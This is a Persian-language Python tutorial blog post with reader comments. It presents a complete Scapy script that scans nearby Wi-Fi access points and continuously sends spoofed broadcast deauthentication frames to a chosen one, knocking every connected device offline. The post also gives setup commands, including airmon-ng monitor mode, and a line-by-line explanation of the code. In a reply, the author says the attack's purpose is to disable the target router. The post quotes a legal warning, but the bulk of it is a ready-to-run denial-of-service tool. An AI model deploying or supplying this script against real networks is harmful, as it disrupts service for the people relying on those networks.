اجرای حمله ی DOS علیه مودم وایرلس (AP) در پایتون :: Mr Python | مستر پایتون

اجرای حمله ی DOS علیه مودم وایرلس (AP) در پایتون

  • ۱۳۶۳

اجرای حمله ی DOS علیه مودم وایرلس (AP) در پایتون

درود به همه !

 

در این پست آموزشی یاد میگیریم چطوری با پایتون ابزاری بنویسیم که بیاد روی مودم وایرلس ، حمله ی DOS اجرا کنه . وقتی این حمله اجرا شد ، تمام دستگاه های متصل به مودم وایرلس به طور خودکار قطع خواهند شد و تا وقتی این حمله ادامه دارد کسی نمیتواند به مودم وایرلس مورد حمله متصل شود .

توجه : طبق قانون جرایم رایانه ای - ماده737ـ هر کس به طور غیرمجاز با اعمالی از قبیل متوقف کردن، دستکاری یا تخریب داده ها یا امواج الکترومغناطیسی یا نوری، سامانه های رایانه ای یا مخابراتی دیگری را از کار بیندازد یا کارکرد آنها را مختل کند، به حبس از شش ماه تا دو سال یا جزای نقدی از ده میلیون (10.000.000) ریال تا چهل میلیون (40.000.000) ریال یا هر دو مجازات محکوم خواهدشد.

 

پیشنیاز این پست این هستش که شما کمی با تست نفوذ وایرلس آشنا باشید . و مفاهیم پست آموزش ساخت ابزار اسکن AP (مودم وایرلس) های مخفی در محیط با پایتون  رو خونده باشید .

روش کار این حمله به صورتی هستش که هکر میاد خودشو جای مودم وایرلس جا میزنه و بسته هایی جعلی به دستگاه های متصل به مودم وایرلس میفرسته که اون دستگاه ها فکر میکنند این بسته ها رو خود مودم وایرلس فرستاده بهشون . این بسته ها ، بسته های Deauthentication  هستند . وقتی یک مودم وایرلس میخواهد ارتباط یکی از دستگاه های متصل به خودش را به هر دلیلی قطع کند ، شروع به ارسال بسته های Deauthentication به همان دستگاه میکند و آن دستگاه موظف است به محض دریافت یکی از این بسته ها از مودم وایرلس قطع شود . حالا هکر میاد از همین روش استفاده میکنه و شروع میکنه از طرف مودم وایرلس به طور جعلی بسته های Deauthentication ارسال میکنه به دستگاه های متصل و در نتیجه دستگاه های متصل از مودم وایرلس قطع خواهند شد.

حالا ما باید اسکریپتی بنویسیم که در ابتدا تمام مودم های وایرلس محیط رو اسکن کنه و هر کدومشونو که کاربر انتخاب کرد رو بهشون حمله کنه . یعنی بسته های جعلی Deauthentication بفرسته به دستگاه های متصل به اون مودم وایرلس .

برای نوشتن این اسکریپت از کتابخونه ی Scapy استفاده میکنیم . این کتابخونه رو میتونیم با ابزار pip نصب کنیم :

نصب Scapy در لینوکس :

MrPython@debian:~$ sudo pip3 install scapy

نصب Scapy در ویندوز :

C:\> pip install scapy

 

بعد از نصب کتابخونه میریم سراغ نوشتن اسکریپت  .

سورس :

from scapy.all import *
iface = input("Iface : ") # Monitor Wireless Card

macs = []

def attack(target_mac , iface): # Attack
    dot11 = Dot11(addr1 = "ff:ff:ff:ff:ff:ff" , addr2 = target_mac , addr3 = target_mac)
    packet = RadioTap() / dot11 / Dot11Deauth(reason = 7)
    sendp(packet  , loop = 1 , inter= 0.1 , verbose = 1 , iface = iface)

def scanner(pkt):  # Scan Access Points
    if pkt.haslayer(Dot11Beacon) and pkt.info:
        ssid = pkt.info.decode()
        mac = pkt.addr3
        if mac not in macs:
            macs.append(mac)
            index = len(macs)
            print("{} - {} --> {}".format(index, mac,ssid))
print("\n")
sniff(count = 10 , iface = iface , prn = scanner)
print("\n")
select = int(input("Enter The Number Of Target > ")) # Select Target
target_mac = macs[select - 1]
print("-------- ATTACK --------")
attack(target_mac , iface)

توضیح سورس کد :

در ابتدا ماژول های مورد نیاز رو از کتابخونه ی Scapy ایمپورت کردیم . بعد از اون یه اینپوتی گرفتیم که کاربر باید اسم کارت شبکه ی وایرلسی که میخواد باهاش حمله رو انجام بده رو بنویسه .  سپس یه لیستی تعریف کردیم به نام macs که قراره تمام مک آدرس مودم هایی که اسکن کردیم داخل این لیست ریخته بشه .

سپس دوتا تابع تعریف کردیم . یکی تابع Attack که کارش اجرای حمله هستش . این تابع مک آدرس مودم وایرلس مورد نظر به همراه اسم کارت شبکه ی وایرلس رو به عنوان ورودی میگیره . سپس یک لایه ی dot11 تعریف کردیم و مک آدرس های مورد نیاز رو بهش دادیم . addr1 برابر مک آدرس مقصد هستش که ما دادیم ff:ff:ff:ff:ff:ff . این مک آدرس ، برودکست هستش . وقتی مقصدمون این مک آدرس باشه باعث میشه به تمام دستگاه های متصل به اون مودم بسته ها ارسال بشن . addr2 برابر مک آدرس مبدا و addr3 برابر مک آدرس مودم وایرلس هستش که ما این دوتا آخری رو برابر مک آدرس خود مودم وایرلس قرار دادیم چون قرار بود جعلشون کنیم که دستگاه های متصل فکر کنند این بسته رو خود مودم فرستاده .

در خط بعد با استفاده از سه لایه ی RadioTap و dot11  و Dot11Deauth ، یک بسته ی Deauthentication ساختیم و ریختیم داخل متغییر packet . حالا میتونیم این بسته رو ارسال کنیم به دستگاه های متصل تا قطع بشن . در خط بعد با استفاده از متود sendp همینکار رو کردیم . تابع sendp چنتا ورودی داره که توضیح میدیم . ورودی اول همون بسته این هست که میخوایم ارسال کنیم که بهش دادیم .  در ورودی دوم یعنی loop =1 گفتیم تا وقتی که برنامه در حال اجراس بسته ها هی پشت سر هم ارسال بشن . در ورودی سوم یعنی  inter = 0.1 هم گفتیم فاصله ی بین ارسال هر بسته 0.1 ثانیه باشه .  در ورودی بعدی یعنی verbose = 1 مشخص کردیم یه سری اطلاعات اضافی در مورد پکت های ارسالی به ما بده . مثلا برامون چاپ میکنه چنتا پکت ارسال شده و ... این ورودی رو نزارین هم مشکلی پیش نمیاد .نهایتا ورودی آخر گفتیم با کدوم کارت شبکه وایرلس این بسته ها رو ارسال کنه .

 

یه تابع دیگه هم به اسم scanner تعریف کردیم . تابع scanner  کارش اینه که بیاد  مودم های وایرلس رو در محیط اسکن کنه . این تابع رو در یکی از سورس های قبلی   در پست آموزش ساخت ابزار اسکن AP (مودم وایرلس) های مخفی در محیط با پایتون . توضیح دادیم

 

بعد از تعریف توابع (یعنی در شروع برنامه) با استفاده از تابع sniff شروع کردیم یکم بسته های وایرلس در محیط رو شنود کنیم تا بتونیم مودم های وایرلس محیط رو شناسایی کنیم . برای اینکار چنتا ورودی دادیم به تابع sniff . یکی iface که برابر کارت شبکه ای هست که قراره باهاش شنود انجام بشه . دیگری count که گفتیم چنتا بسته شنود بشه . اینجا گفتیم ۱۰ تا بسته شنود بشه . و ورودی prn که گفتیم به محض شنود هر بسته کدوم تابع فراخونی بشه . ما گفتیم تابع scanner فراخونی بشه . به محض شنود هر بسته این تابع فراخونی میشه و خود بسته ی شنود شده به عنوان ورودی داده میشه به تابع scanner .

پس از اسکن مودم های وایرلس یه اینپوت گرفتیم به نام select که گفتیم حمله روی کدوم مودم وایرلس انجام بشه . نهایتا هر کدوم رو که کاربر وارد کرد مک آدرسش رو در خط بعد بدست آوردیم و تابع attack رو فراخونی کردیم تا روی همون مک آدرس حمله اجرا بشه .

 

میریم سراغ اجرای اسکریپت . برای اجرای اسکریپت ما باید یک کارت شبکه ی وایرلس داشته باشیم که قابلیت monitor داشته باشه . اگه این قابلیت رو داشته باشه این اسکریپت میتونه اجرا بشه . پس اگه چنین کارت شبکه ای داریم در ابتدا باید این کارت شبکه رو بزاریم روی حالت مانیتور . برای اینکار میتونیم از ابزار airmon-ng در لینوکس استفاده کنیم . با دستور زیر کارت شبکه مون رو میزاریم روی حالت مانیتور . (در اینجا اسم کارت شبکه ی من wlp3s0 هستش و بعد از گذاشتن روی حالت مانیتور به wlp3s0mon تغییر خواهد کرد)

MrPython@debian:~$ sudo airmon-ng start wlp3s0

خب بعد از انجام اینکار دیگه اسکریپت رو اجرا میکنیم و بعد از دادن تمام ورودی ها به اسکریپت ، حمله آغاز میشه و دستگاه های متصل به مودم وایرلس مورد نظر قطع خواهند شد . تصویر زیر :

 

  • درود بر شما

    ممنونم از مطالب مفیدتون

    می خواستم بگم که میشه اسم یک کارت شبکه برای همین کار یعنی حالت مانیتور رو پشتیبانی میکنه و برای تست نفوذ شبکه کاربرد داره بگید که قیمت مناسبی هم داشته باشه.

    پاسخ:
    درود بر شما . 
    خواهش میکنم و ممنونم .
    ببینید حالت مانیتور رو فک میکنم تقریبا تمام کارت شبکه ها حتی کارت شبکه های پیشفرض لپ تاپ ها هم ساپورت میکنند . ولی برای فعالیت های تست نفوذ وایرلس گاهی اوقات قابلیت هایی نیاز هستش که تمام کارت شبکه ها ندارن . مانند تزریق بسته یا ... 

    از اونجایی که خودم زیاد از قیمت و کارایی این سخت افزار ها مطمئن نیستم شما رو ارجاع میدم به یک سایت .
    لینک بالا توضیح داده در مورد کارت شبکه های مناسب تست نفوذ وایرلس . اگه بیشتر میخواین بخونین در گوگل با یک سرچ ساده میتونید مطالب مفیدی پیدا کنید .
  • پست خوبی بود

    من دو تا سوال دارم

    اینکار چه فایده ای برای حمله کننده داره؟

    و سوال دومم اینکه که نمیشه کاری کرد در حین حمله پسورد وای فای رو هم کرک کنه و وقتی کرک پسورد تموم شد حمله داس متوقف بشه

    .ممنون

    پاسخ:
    سلام  . 
    در اصل هدف این حمله تخریب کردن و از از کار انداختن مودم وای فای هستش . 
    اینجا هدف بدست آوردن پسوورد نیست . 
    در اصل در این حمله هکر میخواد آسیب برسونه به مودم هدف تا دیگه نتونه به بقیه خدمات بده .
    حملات بدست آوردن پسوورد جدای از این حملات هستند . 
ارسال نظر آزاد است، اما اگر قبلا در بیان ثبت نام کرده اید می توانید ابتدا وارد شوید.
شما میتوانید از این تگهای html استفاده کنید:
<b> یا <strong>، <em> یا <i>، <u>، <strike> یا <s>، <sup>، <sub>، <blockquote>، <code>، <pre>، <hr>، <br>، <p>، <a href="" title="">، <span style="">، <div align="">
تجدید کد امنیتی